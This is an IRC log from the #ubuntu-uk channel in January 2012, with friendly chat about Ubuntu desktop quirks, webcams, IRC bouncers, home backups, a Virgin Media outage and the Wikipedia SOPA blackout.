<oimon> i notice banshee amazon revenue is increasing rapidly
<oimon> (http://jaap.haitsma.org/2010/12/27/getting-close-to-1000-gnone-amazon-affiliate-fees-november-2010/)
<bigcalm> I do wish that Rhythmbox had better buffering for last.fm
<davmor2> bigcalm: it uses the live feed rather than buffering iirc
<bigcalm> Then I wish last.fm had more bandwidth ;)
<bigcalm> I don't recall it being this intermittent on the website
<davmor2> bigcalm: have a look at gconf-editor type thing and see if you can see if there is a buffer limit for it and if there is increase it :)
 * czajkowski hugs davmor2 
 * MooDoo hugs czajkowski and davmor2 then stabs them both for being sucky
 * davmor2 prods czajkowski how's the back now
<czajkowski> nurse is happy with the healing
<czajkowski> still need to keep it covered and change bandages every 2nd day
<davmor2> czajkowski: Woohoo soon the barrage begins
<czajkowski> davmor2: and I've still not threatened any harm this year so faar
<gord> they must of removed your hate spleen when you were under
<MartijnVdS> "hate spleen"?
<davmor2> czajkowski: Yeah but I've mostly been nice to you due to injury :P
<czajkowski> gord: awwww I've always loved you!!!
<gord> why doesn't liferea scroll with new feeds?
<daubers> Weeeeeeeeeeee spinny triangles
<MartijnVdS> daubers: whee, OpenGL 101 done?
<MartijnVdS> daubers: now.. fragment shaders..
<daubers> MartijnVdS: Doo wha? Now I need to make some rectangles
<daubers> and then cuboids
<gord> out of felt?
<gord> for teacher?
 * davmor2 tickles czajkowski to test her reflexes
<czajkowski> no_tickles sorry
<czajkowski> :)
<davmor2> czajkowski: man you feet move fast though ;)
<czajkowski> this was my back last week - http://twitpic.com/85koay
<gord> ouchy
<czajkowski> so no poking tickling me please :)
<czajkowski> or as someone tried to do recetly pat me on the back
<davmor2> hahaha oh genius why didn't I think of that
<daubers> gord: If I can make cuboids then I'm more or less done what I need to do \o/ Then I just need to make the colours change with different states
<MartijnVdS> daubers: no fragment shaders?
<daubers> MartijnVdS: Dunno what they are :)
<MartijnVdS> Pixel shaders, also known as fragment shaders, compute color and other attributes of each pixel. :)
<MartijnVdS> They can alter the depth of the pixel (for Z-buffering), or output more than one color if multiple render targets are active.
<MartijnVdS> http://en.wikipedia.org/wiki/Shader
<daubers> Why would I need those to just make some spinny boxes :)
<MartijnVdS> daubers: I thought you wanted shiny spinny boxes
<czajkowski> davmor2: any word on the house?
<davmor2> czajkowski: try and pick the right person deary :p
<czajkowski> bugger
<czajkowski> daubers: any word on the house
<daubers> czajkowski: They didn't accept my offer. Again wanted more than the house was worth
<daubers> dumb people
<davmor2> czajkowski: language mrs
<czajkowski> yes dear
<czajkowski> daubers: oh noes :/
<daubers> czajkowski: Meh, their loss. Just keep looking
<daubers> As much as I want a house, I'm not willing to lose a) money and b) sleep over it
<daubers> !ping
<lubotu3> another contentless ping... sigh...
<daubers> !ping
<daubers> Silly semi intelligent bot
<bigcalm> !ping
<lubotu3> another contentless ping... sigh...
<bigcalm> !ping
<jutnux> !ping
<bigcalm> It ignores you if you ask again too quickly
<bigcalm> Anti-flood protection
<oimon> Unbelievable as it may seem, laptop LCD displays actually have to work harder to display dark colours than light colours. A full black background may consume ~0.5% to 1% more power than a fully white background.
<oimon> i learned a few things today, this was one of them
<jutnux> But a dark background won't blind you at 4am in the mroning.
<AlanBell> hmm, yes, that is kind of true
<oimon> jutnux: 4am is for sleeping
<jutnux> oimon: Not if there is work to be done.
<oimon> if you're working at 4am , someone somewhere has done a fail
<jutnux> Indeed
<oimon> or you're a night shift worker
<gord> or you just enjoy your job too much and forgot to stop working ;)
<gord> i have a little alarm now that tells me its 6pm so that i stop working
<oimon> is it beer on a stick?
<jutnux> I'm 15, I have no such job, just freelancing ;-)
<davmor2> bigcalm: on a plus side at least you can use last.fm in rb :D
<MooDoo> 15?  blimey
<bigcalm> davmor2: rb?
<bigcalm> Oh
<bigcalm> Yes
<bigcalm> It's got that going for me
<bigcalm> s/me/it
<jutnux> MooDoo: blimey?
<MooDoo> jutnux: i'm 25 years older lol
<davmor2> MooDoo: 15 do you remember those days, when the mullet was the only hair style and madonna and mj ruled the chart
<davmor2> mind you the rock and metal were better then
<bigcalm> \m/
<jutnux> Metal \o/
<gord> Wood! \o/
<davmor2> bigcalm: however it is our fault that the ozone is dying all those lighters being lit for the famous songs
<davmor2> brick \o/
<MooDoo> davmor2: oh yeah :D and luminous green pop socks for the girls
<gord> heh lighters, have you been out to see bands recently? iphones ;)
<oimon> lame
<davmor2> gord: just not the same though dude
<gord> saw an app to imitate a lighter on an iphone once. ain't fooling anyone
<mgdm> heheh
<oimon> too many hipsters at concerts nowadays
<jutnux> I went to a Bonjovi one and was swarmed by old, drunken men.
<oimon> are you male/female?
<jutnux> Male.
<jutnux> I also got the ticket for free :-)
<oimon> i went to see the pixies 20years ago and it was the loudest thing i'd ever heard
<gord> you haven't roomed with people at UDS then, easily the loudest snoring in the world ;)
<oimon> beaten only by the 10 minutes of white noise during MBV's you made me realise.
<jutnux> [#ubuntu-uk]
<jutnux> Whoops.
<oimon> i have a win laptop beside me to test something. must have clicked the "gonna restart in 15 mins, restarrt later" thing about 20 times in a row before getting annoyed enough to open services.msc and stopped the flipping service. one of my most hated thing about windows
<awilkins> oimon, Yeah, I find that a real PITA when playing games
<oimon> wow, i can imagine
<awilkins> Pops up behind the game session silently and then drops dead 5 mins later
<awilkins> "TWing!"    <nooooooooooooo!>
<oimon> GameOS doesn't need updates so proactively if you don't run other apps on it
<awilkins> oimon : re: dark backgrounds
<awilkins> I know there are TV sets that have regional backlight control and actually dim the backlight in dark areas to give better black
<awilkins> But a return to displays being light emitters instead of light filterers will surely be welcomed...
<awilkins> .. if only because you can pull off the same fancy passive 3D you can in a cinema with an emissive display rather than a filterer
<awilkins> Well, not QUITE the same
<MartijnVdS> REgional backlight control?
<MartijnVdS> Gives off more light in a "dark" neighborhood? ;)
<awilkins> Yeah, in the Nordic countries they are configured to avert Seasonal Affective Disorder
<awilkins> 5 mins phototherapy a day, disguised as the "Architect" scene from the Matrix to account for all the white light
<oimon> someone's been down the pub
<oimon> tomorrow's the day for making wild claim's, since wikipedia will be down, and i haven't mirrored it lately
<DJones> oimon: No wikipedia.....How will kids do their homework? They might have to actually look it up themselves and then be surprised when they get a higher mark for being more accurate :)
<oimon> DJones: more importantly how will journalists write their articles/
<DJones> If they're anything like a sports reporter, they'll just trawl through supporter/club messageboards & report any rumours as fact like normal
<awilkins> My daughter (7) has been told specifically not to use Wikipedia
<oimon> unless she is updating it :P
<awilkins> To do her homework with...
<oimon> i don't like the angle taken by a lot of articles
<DJones> oimon: Did you mean updating or correcting
<oimon> either/or
<awilkins> ... I support the position that you can use Wikipedia as long as you corroborate your work by looking elsewhere.. And no cut'n'paste
<oimon> don't use WP as a reference.
<oimon> but as a link to sources.
<oimon> although all your schoolmates will do the same
<oimon> so real knowledge is a bonus
<jutnux> awilkins: simple wikipedia is good
<jutnux> I like to use Wikipedia to aid my research and put it into my own words, meaning I do actually learn something in the end.
<oimon> some people use reddit as their source of knowledge and poltical stance
<DJones> I'm always loathe to trust anything on wikipedia given the way anyone can edit it and some of the edits that get done don't have any truth in them & get done to wind people up, it might only be a tiny minority but it taints the whole thing
<jutnux> DJones: To be fair the false articles get changed pretty quick
<ali1234> ffs
<ali1234> wikipedia is an encyclodpedia
<ali1234> you don't cite an encyclopedia
<ali1234> you look at what it cites and then you go and read those articles
<ali1234> if you are doing it right nobody can ever even tell you are using it
<ali1234> i wish someone had explained things like this to me when i was at school
<ali1234> the fact that teachers can say things like "don't use wikipedia" with a straight face just demonstrates that even they don't know how to do research
<ali1234> and then they wonder why the kids just copy and paste from some website
<ali1234> it's cause you haven't taught them properly idiot
<ali1234> specifically the reason this makes me so angry is because it's an appeal to authority
<ali1234> so rather than teach how to refer to the sources and critically examine them, they are just teaching "wikipedia is unreliable because i say so"
<ali1234> which is exactly the kind of thinking that makes wikipedia unreliable in the first place
<gord> bumped up the laptop ram from 2gb to 8gb :) now i can run a web browser *and* an email client at the same time
<hamitron> you rebel
<hamitron> ;)
<gord> also, ram is really really cheep
<mrevell> Can anyone recommend a USB web cam?
<gord> its like, screw it, maybe i'll just get 8gb in every machine i own
<hamitron> yeh, I jumped to 8gb also, didn't realise how much difference it actuyally makes
<Supermanintights> anyone know how to get a global inbox for thunderbird - imap/pop mix?
<davmor2> mrevell: I got a logitech one that seems to be fine
<mrevell> erk, my Logitech no longer works with most things. Sort of works in Cheese
<czajkowski> mrevell: did you break it or has it been chewed
<czajkowski> gah virgin media is being a bit special
<mrevell> czajkowski, Driver just stopped workign I think
<gord> mrevell, sort of works but its like its got no colour but some parts of it do, but its a weird colour?
<mrevell>  It was fine on 10.10 I think.
<mrevell> gord: Precisely :)
<gord> mrevell, don't get a new webcam
<gord> its fine
<mrevell> Hooray
<gord> linux went wobbly
<mrevell> Damn Linux.
<gord> iirc if you change the resolution you should find one that "fits", hopefully fixed in later revisions
<czajkowski> it'll never catch on
<mrevell> It works not at all with Skype, though. Damn, I have to go afk. I asked my question at the wrong time. Okay, I'm glad to know I have hope.
<gord> happened to my laptops webcam too and some friends laptop webcams
<czajkowski> gord: where would we be with out you!
<mrevell> thanks gord and others :)
<gord> you'd be without the ability to make silly faces in cheese thats for sure
<czajkowski> and have gone out and nought a new cam and not needed it
<czajkowski> gord: next tieI see you there shal be some custard creams!
<ali1234> logitech c910. 1080p, built in microphone. works perfectly even with skype.
<s-fox> Hello, anyone around?
<smittix> Evening s-fox
<s-fox> smittix, Hello. Could you check a link for me please? http://ubuntuforums.org/
<smittix> Yup it's working.
<s-fox> Okay, thank you
<smittix> Funny that you ask that though. Im trying to get on some websites I use and I cannot ask them. Can't sign into MSN messenger either.
<s-fox> It is the only website I can not access smittix.
<s-fox> ;)
<s-fox> Oh well, looks like a busy night for me. Thanks smittix
<dwatkins> smittix: does downforeveryoneorjustme.com help?
<smittix> dwatkins: Looks like there is a problem in my local area.
<smittix> A neighbour has just been round asking me about the same issues.
<smittix> Do you have to have a certain number of posts on Ubuntuforums before you can edit your profile/avatar?
<Neoti> any one in here from nottingham and on virginmedia..... think there having problems can anyone confirm ?
<smittix> Yup
<Neoti> :(
<smittix> What site's can't you access? I can't get on MSN or Ebay at the minute.
<smittix> Even virginmedia's service status is down.
<Neoti> i can access facebook and twitter ok... slow though.... but cant connect to most of the sites i use etc...
<Neoti> also over VPN i can not connect to my main computer in the office yet i can connect to a server on the same lan in the office ... Strange ...
<smittix> hmm haven't tried my office's vpn.
<Neoti> first thing i did ... as im tech support for my company ... lol
<dwatkins> https://national.virginmedia.com/service-announcements/status says there's a fault with Virgin's ADSL service, not sure where the details are as the other page listed is offline, ironically.
<nothingspecial> smittix, Welcome to Ubuntu Forums :)
<smittix> Neoti: Im the IT Manager for mine and the first thing i checked was ebay :/
<smittix> heh
<Neoti> LOLz
<smittix> nothingspecial: :)
<nothingspecial> ;)
<dwatkins> smittix: better than just opening Google - that might be cached :)
<smittix> Yeah can't access my VPN either.
<Neoti> smittix where do you work ?
<smittix> A Large Healthfoods distribution company. You?
<Neoti> a telecommunications company who do SIP and voip etc... loz
<dwatkins> I wish they all did, would save me a bunch of hassle
<dwatkins> I think BT's home hub does VoiP, but not very transparently
<smittix> Neoti: In Derby at all?
<Neoti> lol i dont like the BT speed hub...
<Neoti> im based in Notts... what company was you thinking of ?
<dwatkins> Neoti: me neither - I just logged a fault with BT as mine drops out 4 or 5 times a day
<Neoti> yeah and the voip is crap on it ... if you want to run some voip phones the speed hub bassically blocks it...
<smittix> Neoti: I was thinking of NODE4
<Neoti> unless you use BTs voip. sip service... lol
<Neoti> smittx i knew you was thinking that ...
<Neoti> i love node4
<smittix> Me too heh
<Neoti> do you work for them ?
<smittix> no, they support our switches.
<Neoti> lol cool bean ... small world...
<smittix> Indeed.
<smittix> Where abouts in nottingham are you?
<Neoti> just off mansfield road, near forest fields.
<smittix> nothingspecial: So what's the deal with the avatar change?
<smittix> Neoti: ahh is that where you work or live?
<Neoti> live
<smittix> Cool
<Neoti> u?
<nothingspecial> from a fairy to a evil sorcerer :)
<smittix> Neoti: Cinderhill
<Neoti> cool.... looking to hire any IT geeks like me ?
<nothingspecial> smittix, power >:{
<smittix> Neoti: I might be soon but it will be general admin tasks.
<Neoti> such as ?
<nothingspecial> smittix, or do you mean yours?
<smittix> AD related stuff, Monitoring logs setting users up etc
<smittix> nothingspecial: Mine, I can't edit my profile details at all.
<Neoti> sounds cool......
<nothingspecial> smittix, you need 50 support posts unfortunately
<nothingspecial> anti-spam measure
<smittix> nothingspecial: Ahh that's ok. I better see where I can help then.
<nothingspecial> smittix, http://ubuntuforums.org/showthread.php?t=1836816
<smittix> Thanks
<nothingspecial> no problem
 * Neoti taking a relaxing shower.... bliss .... back soon.... hopfully will have some internetz!!! :P
<smittix> nothingspecial: Well, only 48 posts to go. It took me years to get to 2.
<nothingspecial> I'm sure you'll be there in no time, I have loads and I don't know the first thing about computers :)
<smittix> HEH
<smittix> Right, finish off my new laptop's ubuntu install. bbl
<nothingspecial> cya smittix :)
<gord> bleh, so windows 8 has a new file system. took forever for ntfs to get good on linux :(
<MartijnVdS> exFAT? :P
<jutnux> gord: Darn Microsoft
<gord> to be honest, ntfs needs replacing, but still, annoying
<jutnux> To leave laptop or not to leave laptop on
<MartijnVdS> jutnux: Yes!
<jutnux> In fact, I better clone it.
<jutnux> To save the torture or reinstalling (not so hard) and making Arch & Openbox (hard) look nice.
<daubers> ~Evening
 * jutnux waves to daubers 
<brobostigon> gnome2* and linux on bbc stargazing, being used at the observitory they are at.
<DJones> brobostigon: Are they still at Jodrell Bank?
<brobostigon> DJones: yes.
<brobostigon> DJones: but the observation wasnt there, i dont think.
<DJones> Thought they would, its all over local radio as its onlt 25 miles (ish) away from where I live
<brobostigon> ah.
<DJones> They're doing a week long special on the radio as well
<brobostigon> i didnt know, interesting.
<jutnux> Has it just started?
<jutnux> DJones: Does your local radio happen to be Radio Norfolk?
<DJones> jutnux: No, Radio Manchester
<popey> Evening all
<DJones> Probably more local is Radio Merseyside, but I normally listen to Manchester as its pretty much the same distance
 * jutnux waves at popey
<jutnux> DJones: Ah right.
<jutnux> Oh hurry up CloneZilla
 * DJones clones jutnux ....Oh Damm.... Two of them now :)
<smittix> what's a nice terminal font?
<smittix> I fancy a change
<jutnux> Terminus
<jutnux> DJones: Two times the sexiness ;-)
<jutnux> Now going, adios.
<brobostigon> skypr for android working, on my tablet.
<brobostigon> skype*
<brobostigon> very weird, compared to the normal client.
<gord> its been so long since i have successfully managed to get the "normal" client to work, that i've lost any identity of a normal skype client
<brobostigon> ah, i see.
<brobostigon> that is what it has done with the contacts, using android contact sync.
<gord> its the one that looks like its from the 90s right?
<brobostigon> wonder if i can do filtering.
<brobostigon> kinda.
<gord> i remember the windows client being prettier at least
<brobostigon> i would rather it behaved in an expected simple way, and itdidnt.
<smittix> Does anyone else use any 3rd party themes? Im after something different.
<smittix> brobostigon: What tablet do you have?
<brobostigon> smittix: scroll 7 inch capacitive.
<smittix> I have an Advent Vega 10" Sitting in a cupboard.
<swat_> brobostigon: any good?
<smittix> 4 months old and I don't use it
<smittix> shame really
<brobostigon> swat_: mostly, yes, i need to either do further tweaking to the android they have put on it or make my own, otherwise, works fine.
<swat_> brobostigon: interesting
<brobostigon> swat_: for example, it still had some of the telephony stack, which is ointless on a tablet.
<swat_> aye
<brobostigon> swat_: two issues are going to be, if i custom android for it, is the wifi and the hdmi output.
<brobostigon> good night, sleep well.
<AlanBell> !ping
<lubotu3> another contentless ping... sigh...
<AlanBell> !ping
<lubotu3> another contentless ping... sigh...
<AlanBell> back on irssi
<bigcalm> Bit quiet for you, AlanBell?
<AlanBell> smuxi was reasonable, but lacks a hilight window and doesn't tell you about hilights in tabs that are off screen
<AlanBell> plus irssi works nicely on my phone
<gord> come to the light side, setup znc and use whatever client you want ;)
<AlanBell> I want to use irssi, until I find a better one
<Laney> did you file feature requests? :-)
<AlanBell> http://www.smuxi.org/issues/show/657 is fixed apparently
<AlanBell> http://www.smuxi.org/issues/show/101 is not
<gord> and you can use irssi! but this way your choice is wide open. i use xchat on my laptop, some android irc client on my phone and yet only ever have one login
<gord> i can even log in from some nintendo ds irc client
<AlanBell> so how does it work with lots of channels?
<gord> how do you mean?
<gord> its just a proxy, nothing more, nothing less. it bounces irc. you connect to it like its an irc server
<AlanBell> I mean if the znc account is joined to 30 channels and you connect with xchat, what happens?
<AlanBell> do you have to join all your 30 proxied channels?
<gord> they all connect, in IRC your server can just tell you that you joined channels
<AlanBell> orly! so it would open up 30 tabs or whatever for you?
<gord> sur
<gord> sure
<AlanBell> oooh that works
<AlanBell> using xchat and irssi as a proxy
<bigcalm> I use the built in proxy with irssi
<bigcalm> Yes, just that
<gord> i used the irssi proxy before switching to xchat, the irssi proxy i found underwhelming and buggy
<AlanBell> ok, so when connecting to it from android is there a nice client that will go via an ssh tunnel?
<bigcalm> andchat might
<bigcalm> That's the one I use, but only as a direct connection
<gord> andchat does
<gord> i use ssl
<bigcalm> There you go :)
<gord> thats an added benefit though, my znc proxy is ssl but some of the servers it connects to are not. nice to know at least me to my znc server is protected
<gord> http://i.imgur.com/ZSK90.jpg seems like an odd place to use a fake seethrough ipad or whatever
<zleap> hello
<KrimZon> in the future, the back of an ipad will be even more exciting than a rollercoaster
<bigcalm> Fnar
 * AlanBell is about done with the translucent terminal windows in precise
<AlanBell> hmm, it is the unity plugin that does it, but there is no setting for it
 * AlanBell hopes this isn't a compulsory design feature
<gord> AlanBell, whats this now?
<AlanBell> see through terminal windows
<gord> thats a gnome terminal thing
<AlanBell> nope, that is set to solid colour
<gord> not here, i set it to solid colour i get solid colour, set it to transparent, its transparent
<AlanBell> it can make them more seethrough, as can the compiz opacity brightness and saturation plugin, but not less transparent
<AlanBell> if I turn off the unity plugin they go solid
<AlanBell> seems to affect all window title bars, and terminal windows
<gord> ah, read a compiz guy talking about some GL state leak earlier, prolly the same thing
<gord> not intended
<AlanBell> good :)
<AlanBell> it is the panel opacity slider
<gord> thought it might be
<gord> but my can of pringles is more important than testing unity right now ;)
 * AlanBell has a perfectly acceptable workarround
#ubuntu-uk 2012-01-18
<AlanBell> morning all
<popey> Morning
<TheOpenSourcerer> Morning all - I note that the cyanogen team have issued the 1st build of ICS for the Touchpad :-) Might be breaking my TP tonight then...
<TheOpenSourcerer> AlanBell: Want me to collect you on the way this morning?
<MooDoo> morning all
<Linuxsapien> halloooo
<Linuxsapien> windy windy bawbag
<MooDoo> lol
<christel> morning beauties
<MooDoo> morning ma'am
<daubers> Morning
 * daubers has spinny pyramids on his screen :)
<AlanBell> TheOpenSourcerer: that would be great
<christel> oh AlanBell, i want to chat you up about a proposal i have at some point, but we may need to beer so that you're more likely to say yes! <3
<MooDoo> christel: isn't he already married? ;)
<christel> haha
<christel> not that sort of proposal :P
<christel> i wouldn't wish to anger mrsbell ;)
<MooDoo> heee /<smartassmodeoff>
<christel> :P
 * AlanBell looks forward to being chatted up by christel 
<AlanBell> and beer
<christel> \o/
<daubers> When's the Easter holidays this year?
<gord> not soon enough
<daubers> gord: In need of chocolate bunnies already?
<gord> i started seing easter eggs in shop january 1st (no joke)
<MooDoo> gord: i bought my wife one from our local shop Dec 23rd :)
<awilkins> I detest <insert shamelessly commercialised seasonal event here>
<dwatkins> morning folks :)
<MooDoo> morninh
<bigcalm_lappy> Good morning peeps :)
<MooDoo> morning
<bigcalm_lappy> I'm on a train to London. Sadly going backwards, but I do have a table!
<MooDoo> yay and wifi?
<bigcalm_lappy> The train has wifi, but I'm using my phone instead
<bigcalm_lappy> Tethered that is
<bigcalm_lappy> 6 quid for 3 hours isn't bad, but I cba really
<bigcalm_lappy> I even have a mains socket!
<christel> 6 quid for 3 hours is pretty steep :P
<bigcalm_lappy> christel: depends upon what you're charging for ;)
<christel> haha
<christel> well i presume it was for wifi :P
<bigcalm_lappy> Ah, yes
 * bigcalm_lappy remembers where he is
<christel> :P
<dwatkins> Mobile broadband is good enough except just south of Edinburgh from what I've seen recently.
<bigcalm_lappy> I could play minecraft, if I had the table space for a mouse
<oimon> found a great way of making apple tea. apple juice + boiling water :D
<daubers> Hmm.... fun bug with new laptop. When i remove the mains powerer, the powersaving on the wifi stops the wifi working
<oimon> daubers: is that a software or hardware/firmware  issue?
<bigcalm_lappy> Humm, how do you exit w3m?
<bigcalm_lappy> qy
<daubers> oimon: Software I think
<daubers> if I turn off power management with iwconfig it's fine
<DJones> bigcalm_lappy: Get some lessons from MMolay on how to play with a touchpad
<bigcalm_lappy> Heh
<oimon> new rhythmbox appeared in this morning's 12.04 update
<bigcalm_lappy> I've done it in the past, but it's just not the same
<bigcalm_lappy> I gave 12.04 a go and it works well. Sadly, not well enough to be 100% reliable for my dev requirements.
<bigcalm_lappy> Did I survive the tunnel?
<bigcalm_lappy> !ping
<lubotu3> another contentless ping... sigh...
<bigcalm_lappy> Just, phew
 * BigRedS is installing 12.04 on his work PC
<BigRedS> is it less good than Oneiric? At home it seems better
 * DJones wonders why piratebay hasn't gone black today :)
<BadgerUK> hello, in a traceback in terminal, how do i know what the error at the end of the traceback is refering to?  is it the first line in the traceback or the last
<gord> BadgerUK, do you mean backtrace?
<j0nr> mornig folks.
<gord> that would be the first line, the one with a 1 next to it
<BadgerUK> gord: no i mean traceback
<j0nr> I have someone who is an Ubuntu virgin and wanting to set up a home server.
<BadgerUK> gord: it might be specifically from python
<BarryK> to serve what?
<BadgerUK> i dont know as im new to linux and its the only time ive seen a traceback
<j0nr> I just had a question: Can I set up auto backup of folders on pcs connected to the network?
<gord> sounds like a python thing
<BadgerUK> gord: thnx
<Myrtti> j0nr: dejadup does that if you set it up to do it
<j0nr> Now I think usually, you would use software on the client, to push backups to the server, can it be pulled the other way?
<j0nr> baring in mind the pcs might not be linux
<Myrtti> I even got a prompt in Oneiric on my tablet to set dejadup backups
<BarryK> @j0nr: So long as the servers have read access to the folders in question it shouldnt be a problem
<Myrtti> oh, that way
<j0nr> BarryK: That's what I thought, all the folders desired to be backed up would have to be 'shares'
<j0nr> or somethign similar
<j0nr> I'll tell him to do it the other way
<BarryK> yeah pretty much, though depending on where you want to do it and what you want to back up you might bump into a few permission issues
<BarryK> I'd just have the clients push their backups, that way you can make sure its when the client is idle
<czajkowski> aloha
<MooDoo> morning czajkowski
<BarryK> morning
<oimon> is imgur.com down for SOPA reasons?
<dwatkins> oimon: looks like it's simply down
<BarryK> down here too
<dwatkins> I think they were considering a protest, though.
<oimon> meh
<j0nr> BarryK: Going to recommend use of samba shares. Mount server directories and use them to either work in or 'put stuff in' to be backed up.
<j0nr> then of course backup the backup ;)
<BarryK> I'd put the backups somewhere else if i were you but yeah sounds like a plan
<BarryK> if they're all windows machines have a seperate user acc run the scheduled backup and deny the normal user access to the backup location
<BarryK> if that makes sense lol it is very early
<JamesTait> Good morning all! :D
<MooDoo> mor   JamesTait h w ar ou?
<MooDoo> i'm blacking out my responces ;)
<JamesTait> MooDoo: I caught that. ;)  V ry w ll th  ks.
<MooDoo> lol
<Myrtti> spkng witht vwls s s f yv hd trnng wth t rlr
<Myrtti> n thr nws https://twitter.com/#!/Encarta95/status/159526112563695616
<bigcalm_lappy> 1st tunnel to kill my connection and now I'm at Watford Junction
<j0nr> BarryK: Do you just mean don't give users access to the backup of the shared drives?
<dwatkins> bigcalm_lappy: travelling North or South?
<bigcalm_lappy> dwatkins: South
<bigcalm_lappy> About to enter Euston station I hope
<dwatkins> heh, say hello to the warm beer for me, bigcalm_lappy ;)
<czajkowski> https://twitter.com/#!/johnoxton/status/159576110479319040
<bigcalm_lappy> \o/
<Laney> morning
<BarryK> yeah I wouldn't but it depends on where the roll out is.  You don't want someone wiping the backups by mistake
<BarryK> but if it's for home use or something like that I wouldn't worry too much, it's a fair bit of extra effort compared to just creating some extra smb shares
<bigcalm_lappy> Right, time to pack away!
<bigcalm_lappy> Toodles for the day :)
<czajkowski> enjoy the wet and rain
<zleap> how do i search for things using unity,  with gnome i can click on places and search, but this option seems hidden
<zleap> oki can search for them but the files and folder utility does not tell me where these files are located on my system so i can copy more files in to that folder
<DJones> Heh wikiepedia's "blackout" is so good, you just search for what you want, press escape as the page is loading and the blackout is cancelled :)
<MooDoo> hehe
<czajkowski> http://theoatmeal.com/sopa :)
<sagaci> I actually wanted to search for something a few hours ago
<Myrtti> DJones: or use en.m.
<gord> quality of homework handed in tomorrow morning is going to be severely reduced
<zleap> well there are other sources of information for homework
<MooDoo> czajkowski: i laughed when i watched that :D
<zleap> gordon the other hand,  if wikipedia was to go off line fully the quality of homework could be affected longer term
<dwatkins> I wonder how many kids will google how to work around the wikipedia javascript this evening...
<gord> rather serendipitous typo
<zleap> lol
<s-fox> Hello.
<zleap> gord yeah see your point regarding the typo,
<zleap> hello s-fox
<s-fox> Hello zleap :)
<zleap> :)
<s-fox> How are you doing?
<DJones> gord: The quality may be reduced, but the accuracy might be improved
<zleap> ok so back to the ubuntu search tool,  i can search for files but the tool does not actually tell me Where the files are  which is i guess fine in most cases i want to know where these files are so i can create 1 foilder will all the downloaded .deb files in for example
<zleap> folder
<zleap> s-fox, i am good thanks
<MooDoo> howdy s-fox
<gord> zleap, <super> - type search, use the search for files... app
 * smittix taps MooDoo on the shoulder o/
<MooDoo> not here smittix
<MooDoo> ;)
<MooDoo> hello :D
<MooDoo> smittix: how are you?
<brobostigon> good morning everyone.
<smittix> MooDoo: Im great and you>
<MooDoo> smittix: yeah pretty good, got man flu
<smittix> :/
<MooDoo> smittix: i'll cope :D
<oimon> i've had 2 bouts of it, lasting over 1 month :(
<czajkowski> daubers: I have the house for you http://9gag.com/gag/1897593
<s-fox> :-)
<MooDoo> what a wonderful house
<gord> hobbettses
<oimon> is that a gaping hole in the roof?
<s-fox> It's to let the sunshine in ;)
<oimon> can't be the uk then
<oimon> sunshine in the uk is liquid
<daubers> czajkowski: awesome :)
<Myrtti> of course the joke is that it's not a joke
<popey> a guy who used to work for canonical has an underground house
<brobostigon> skype for android is huge, 16MB, that is abit big, for memory limited devices.
<Myrtti> http://www.simondale.net/house/index.htm
<czajkowski> popey: wow
<gordonjcp> popey: I considered building an earthship up north
<gordonjcp> http://earthship.com/ <- probably not as ornate as that
<gordonjcp> and more dug into a hillside
<Myrtti> pretty much impossible to do in Finland :-(
<DJones> Did anybody notice a "nationwide failure" of VM Broadband? http://www.bbc.co.uk/news/technology-16611686
<MooDoo> yeah it was down yesterday
<DJones> I'm surprised they didn't blame it on SOPA
<MooDoo> hehe
<oimon> bbc are reporting that you can't get info off wikipedia
<oimon> fail
<MooDoo> just press esc as the page loads :)
<oimon> or a million other ways..but that's the easiest :)
<oimon> i had to look up chun li street fighter this morning
<oimon> the bbc even featured a quote from orlowski from the register...even worse
<Neoti_Laptop> hey all
<Neoti_Laptop> does anybody have any details of the internet outtage on virgin media and peers like level3 ?
<DJones> Neoti_Laptop: http://www.bbc.co.uk/news/technology-16611686 Any use?
<Neoti_Laptop> thanks DJones...
<Neoti_Laptop> also have you heard of problems with level3 peering and linkz peering on the core network ...
<DJones> I hadn't heard anything, only heard about the VM problem last night when I saw that article a few minutes ago
<Neoti_Laptop> oh .... doh .... lolz..... yeah some peering providers have problems .... still .... big problems for me and voip network ... lol ... doh...
<bigcalm> Good afternoon peeps :)
<bigcalm> Is there an option to display whitespace types in NetBeans? Like Eclipse would be good
<oimon> just been looking at yahoo's financial results to work out how they make money
<oimon> it seems they still make a huge amount from search/advertising. who would use them over google i wonder (for search or advertising?)
<directhex> generally, partner agreements
<directhex> i.e. "hey $OEM, we pay you $3 to change the default search engine on every new PC"
<ali1234> the same people who use yahoo mail instead of gmail
<oimon> = the same people who think wikipedia is actually unavailable today
<jutnux> Hahhahaha
<jutnux> en.m.wikipedia.org
<jutnux> sorted
<DJones> Just looking for something, I came across this ppa https://launchpad.net/~canonical-pse/+archive/guinness "A very irish set of packages, with a correctly spelt name!"
<oimon> are they green? upside down?
<DJones> Good question, I wondered that
<DJones> czajkowski: Can you answer that question? ^^
<czajkowski> DJones: answer....
 * czajkowski peers at TREllis wtf are ye on over there! 
<DJones> czajkowski: Wondering whether you knew what the difference was on the "guinness" ppa I mentioned above
<czajkowski> DJones: no idea ask TREllis
<czajkowski> UCD is a university
<oimon> it's dangerous to update these kind of packages from a PPA that isn't official
<oimon> (captain obvious)
<TREllis> czajkowski: that's a set of packages I've backported (and fwdported)
<TREllis> czajkowski: for a project
<TREllis> DJones: your mileage may vary, may eat babies, you get to keep all the pieces etc
<DJones> Heh
<TREllis> DJones: Although, they work for me (tm).
<oimon> on twitter, does preceding a @user with a dot mean the message is private?
<gord> i wouldn't assume anything on twitter is private
<MooDoo> not that i'm aware of, what you need is D for direct message iirc
<oimon> hmm maybe it was an old functionality
<simondbull> the more pressing issue i find is why didn't twitter take part in the anti-SOPA protest?
<oimon> or why there wasn't a liberal campaign on twitter about it?
<oimon> it's not as if twitter is making $$
<simondbull> oimon:good call :)
<simondbull> oimon:money, what money?!
<oimon> gord, it amazes me the stuff i read on people's twitter feeds, as if they've forgotten this isn't personal email inbox
<oimon> twitter should try charging those with 1000 followers for a pro account.
<oimon> if they want to monetize their current popularity with the trendies
<Myrtti> simondbull: I'm not sure if money was the reason
<Myrtti> I would hope they didn't blackout because they considered it to be more helpful if they'd keep the "channel open" for reporting other protests
<popey> putting a dot in front of the @ makes the tweet public
<oimon> popey: cheers
<AlanBell> oimon: if a tweet starts with @name then it doesn't show on other people's feeds (thought they can find it easily enough) people put a dot in front so that the conversation is more public
<popey> ^^ that
<oimon> i get it now
 * oimon doesn't communicate on twitter
<oimon> i use it like radio
<simondbull> alanbell: i like the designs you did for the UbuntuTV
